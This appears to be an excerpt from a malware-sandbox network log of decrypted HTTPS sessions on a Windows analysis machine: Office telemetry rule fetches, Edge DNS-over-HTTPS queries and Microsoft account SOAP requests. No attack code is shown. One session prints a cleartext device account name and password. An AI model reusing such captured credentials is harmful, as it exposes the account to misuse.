2024-11-25 13:14:33 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:34 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 55bf9bc8-39d9-47c5-9565-73465f522855 PPServer: PPV: 30 H: BL02EPF0001DA4D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:34 GMT Connection: close Content-Length: 1276
2024-11-25 13:14:34 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:35 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:35 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ffa30f7-401e-000a-3a5c-3d4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131435Z-174c587ffdfcb7qhhC1TEB3x7000000005yg00000000ng4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:35 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131435Z-174c587ffdfks6tlhC1TEBeza40000000640000000004x3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:35 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4834b854-301e-005d-3ab8-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131435Z-178bfbc474bvjk8shC1NYC83ns000000078g00000000frmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:35 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 154b25de-a01e-006f-2503-3e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131435Z-178bfbc474bmqmgjhC1NYCy16c00000007f000000000f0dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49784	162.159.61.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 13:14:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e71a9c6942c9-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49788	162.159.61.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 13:14:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e71afdb34205-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49781	172.64.41.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 13:14:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e71b2ac07c6f-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49777	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-25 13:14:36 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 70 6a 6c 62 78 7a 62 72 6c 62 61 63 75 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 54 7e 2d 78 4d 56 53 7e 4c 30 2b 38 6e 3f 73 51 78 71 43 69 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02apjlbxzbrlbacu</Membername><Password>T~-xMVS~L0+8n?sQxqCi</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-25 13:14:41 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 25 Nov 2024 13:13:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 0dc904d3-a4fd-44c0-82de-327f081a7d4b PPServer: PPV: 30 H: SN1PEPF0002F026 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:40 GMT Connection: close Content-Length: 17166
2024-11-25 13:14:41 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 34 44 43 32 37 31 43 42 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 34 32 38 31 63 30 66 32 2d 35 34 38 38 2d 34 61 38 34 2d 61 33 31 35 2d 61 66 33 32 65 62 62 61 66 62 31 66 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001880104DC271CB</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="4281c0f2-5488-4a84-a315-af32ebbafb1f" LicenseID="3252b20c-d425-4711
2024-11-25 13:14:41 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49776	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 13:14:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
